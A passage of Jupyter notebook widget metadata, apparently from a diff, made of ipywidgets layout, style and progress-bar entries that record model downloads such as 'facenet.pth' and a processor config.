null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "2cd604429546460d8e79a7ac4980d4cd": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "2d76832bc7834ef6b683ef6829f83861": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "2db8827ffa344a4a8ac5487ff2997ae0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_6ba872bd45c34e6c8202cc3722dc9285", + "placeholder": "​", + "style": "IPY_MODEL_4d73b627ecc74bf7ad18f5effa245097", + "value": "Downloading (…)rocessor_config.json: 100%" + } + }, + "2dc4775bcef749b7bbbb3f71d714211c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "2df0162802aa488dbddb9a7376954865": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "2e3313ac79794a18a38a6b98c0f4f28a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "2f8938d9a9254868869767a332bdf84f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "2fa71efbdefa4607b37d985b272fcffa": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "2fee0c2fcb3b4705ad4cc212d6138ec9": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "3005ddef183645cbb3039da2a621ebf4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "30408dcf6dd14e27bab9cc06cc664c4c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "304e7a7a38834b3093002b6694c7cb67": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "308c9dc88e034f4bbcb4ee24628694ba": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "3097e4c3b53e4343a9ed6860b8d3d033": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_344e28ed2fc344f4ad5ab6f62a042631", + "placeholder": "​", + "style": "IPY_MODEL_dc495adaeb53477d903ce952060e4f3f", + "value": " 1.06M/1.06M [00:00<00:00, 1.51MB/s]" + } + }, + "30cdb95dd5d746b1adacaaf823b21b89": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_2fee0c2fcb3b4705ad4cc212d6138ec9", + "placeholder": "​", + "style": "IPY_MODEL_5f012cede7a0405fbb12550072bccbc2", + "value": " 490M/490M [00:01<00:00, 263MB/s]" + } + }, + "312f1ce28d144f8e828d5d33c0783a58": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_36aae82533a5470abfa287df328448fc", + "IPY_MODEL_7afd5032c0964fc5823189e2fc8599ed", + "IPY_MODEL_944390d866cf430fbd562fca7781a9d9" + ], + "layout": "IPY_MODEL_66f7c6f267864c929727fd96a83e6d06" + } + }, + "3282a8068816447285333083b4c8fe96": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_2c260ce7a89840e3857942d9294f9321", + "IPY_MODEL_eba07e4598814b6cb22ba58d16587cf3", + "IPY_MODEL_cfe9f9f05cb8493f804cd521a3e3c1c1" + ], + "layout": "IPY_MODEL_b3418378805c4029aa6e6b939ae3c84b" + } + }, + "32bb55abea4f4ea2a7ea8a28a45eeb16": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "335f1c1d85ec4723b8796b79d518c7be": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f9f461994c7e41aba3124dd5ee0b1525", + "placeholder": "​", + "style": "IPY_MODEL_3e7b34f2b1764dbb82caaf245771abc0", + "value": "Downloading facenet.pth: 100%" + } + }, + "33c23b5b6adf403dba45e9f8e64e37dc": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "33ef3f5248c14c4f8dd2d4a7bf0038a9": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "344e28ed2fc344f4ad5ab6f62a042631": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "352a7d961cac483a82ea16cdb77a0368": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_20285260958f4620b906e7a21f44c555", + "IPY_MODEL_85caf1e9b73e46cea1ce2c4ebf92554b", + "IPY_MODEL_23460450a39c44e488bce836dac8b997" + ], + "layout": "IPY_MODEL_261e963568fc4a24af694276311c3b18" + } + }, + "35aa99e07e7d469ba9a46d80bb9908bb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "35bd707e26044bd1a361c2fc2c11ea29": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "365b7759e93949dd891bacc424e797f3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "36aae82533a5470abfa287df328448fc": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_2e3313ac79794a18a38a6b98c0f4f28a", + "placeholder": "​", + "style": "IPY_MODEL_77ad5edb54bb4e30bdd82186e80367c8", + "value": "100%" + } + }, + "36de2037f4b841afb366f27a7eb08396": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "373d310d37454a409b53c30e7d7d1de5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "38dd90648c1949b196ebf27fb21436ba": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "38eb1d06f0094645944b5d305b575927": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "3ae595d0044944ea959d949d8c68d509": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "3b2265f2c01844fb9c99e18c61344d69": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "3b250841cf664fcd8a57fb25d23b29ee": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "3bdc5d0f6e324afaae6d5a4aabff98d2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "3bf3dd9f53354c758187674b5b1eac19": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "3c2af8d5617b4b878b2e68f3fc7ebff6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_9f4a6f9a897c4db0a8d92bf01f3f820c", + "max": 3438167540, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_88e4029063f44ce5a7e89e8f17664eeb", + "value": 3438167540 + } + }, + "3cdb72138ffe4261a6cfcd9bcf4776c4": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "3da34455151b42319fc32e56afeb7959": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_965fb38eae6a45678d87fc3e24eb5241", + "placeholder": "​", + "style": "IPY_MODEL_0da3c6cd22da482c88af347dcbdf0d8e", + "value": " 335M/335M [00:03<00:00, 83.6MB/s]" + } + }, + "3deaa7c9f0c940c3af3b9a7c5d0c8de4": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "3e55680d33db47099479572d0c8915f2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_a94d5d8411844431bb022813d14461c0", + "max": 743, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_161da25b295b4afa8f8b88507818d052", + "value": 743 + } + }, + "3e7b34f2b1764dbb82caaf245771abc0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": 